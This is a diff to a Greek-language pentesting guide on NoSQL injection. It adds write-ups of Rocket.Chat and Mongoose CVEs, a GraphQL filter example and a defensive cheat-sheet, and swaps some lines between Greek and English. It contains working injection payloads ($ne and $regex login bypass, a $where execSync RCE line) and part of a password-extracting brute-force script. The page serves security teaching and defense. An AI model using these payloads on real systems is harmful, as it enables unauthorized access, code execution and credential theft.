diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 933ff19f0..72bfddb19 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -2,11 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -## Exploit +## Εκμετάλλευση -Στην PHP μπορείτε να στείλετε ένα Array αλλάζοντας την παραμετρο _parameter=foo_ σε _parameter\[arrName]=foo._ +In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter[arrName]=foo._ -Οι εκμεταλλεύσεις βασίζονται στην προσθήκη ενός **Operator**: +The exploits are based in adding an **Operator**: ```bash username[$ne]=1$password[$ne]=1 # username[$regex]=^adm$password[$ne]=1 #Check a , could be used to brute-force a parameter @@ -114,9 +114,43 @@ in JSON ```json { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } ``` +## Πρόσφατα CVEs & Πραγματικές Εκμεταλλεύσεις (2023-2025) + +### Rocket.Chat μη αυθεντικοποιημένο blind NoSQLi – CVE-2023-28359 +Οι εκδόσεις ≤ 6.0.0 αποκάλυψαν τη μέθοδο Meteor `listEmojiCustom` που προωθούσε ένα αντικείμενο **selector** ελεγχόμενο από τον χρήστη απευθείας στο `find()`. Με την εισαγωγή τελεστών όπως `{"$where":"sleep(2000)||true"}` ένας μη αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να δημιουργήσει ένα timing oracle και να εξάγει έγγραφα. Το σφάλμα διορθώθηκε στην έκδοση 6.0.1 με την επικύρωση του σχήματος του selector και την αφαίρεση επικίνδυνων τελεστών. + +### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061 +Όταν χρησιμοποιείται το `populate()` με την επιλογή `match`, το Mongoose (≤ 8.8.2) αντέγραφε το αντικείμενο αυτολεξεί *πριν* το στείλει στο MongoDB. Η παροχή του `$where` εκτελούσε επομένως JavaScript **μέσα στο Node.js** ακόμη και αν η JavaScript στον server ήταν απενεργοποιημένη στο MongoDB: +```js +// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id') +Post.find() +.populate({ path: 'author', match: req.query.author }); // RCE +``` +Η πρώτη επιδιόρθωση (8.8.3) μπλόκαρε το κορυφαίο επίπεδο `$where`, αλλά η εμφάνιση του κάτω από το `$or` παρακάμπτει το φίλτρο, οδηγώντας στο CVE-2025-23061. Το ζήτημα διορθώθηκε πλήρως στην έκδοση 8.9.5, και μια νέα επιλογή σύνδεσης `sanitizeFilter: true` εισήχθη. + +### GraphQL → Mongo filter confusion +Resolvers που προωθούν το `args.filter` απευθείας στο `collection.find()` παραμένουν ευάλωτοι: +```graphql +query users($f:UserFilter){ +users(filter:$f){ _id email } +} + +# variables +{ "f": { "$ne": {} } } +``` +Mitigations: αναδρομικά αφαιρέστε τα κλειδιά που ξεκινούν με `$`, χαρτογραφήστε τους επιτρεπόμενους τελεστές ρητά ή επικυρώστε με βιβλιοθήκες σχήματος (Joi, Zod). + +## Defensive Cheat-Sheet (updated 2025) + +1. Αφαιρέστε ή απορρίψτε οποιοδήποτε κλειδί που ξεκινά με `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`). +2. Απενεργοποιήστε το JavaScript πλευράς διακομιστή σε αυτο-φιλοξενούμενο MongoDB (`--noscripting`, προεπιλογή στην v7.0+). +3. Προτιμήστε το `$expr` και τους κατασκευαστές συγκέντρωσης αντί για το `$where`. +4. Επικυρώστε τους τύπους δεδομένων νωρίς (Joi/Ajv) και απαγορεύστε τους πίνακες όπου αναμένονται κλίμακες για να αποφύγετε τα κόλπα `[$ne]`. +5. Για το GraphQL, μεταφράστε τα επιχειρήματα φίλτρου μέσω μιας λίστας επιτρεπόμενων στοιχείων; ποτέ μην διαδώσετε μη αξιόπιστα αντικείμενα. + ## MongoDB Payloads -Λίστα [από εδώ](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) +List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) ``` true, $where: '1 == 1' , $where: '1 == 1' @@ -193,6 +227,7 @@ url = "http://example.com" headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] + def get_password(username): print("Extracting password of "+username) params = {"username":username, "password[$regex]":"", "login": "login"} @@ -225,9 +260,10 @@ for u in get_usernames(""): get_password(u) ``` ## Εργαλεία - - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) +- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL) +- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli) ## Αναφορές @@ -236,5 +272,7 @@ get_password(u) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) +- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) +- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) {{#include ../banners/hacktricks-training.md}}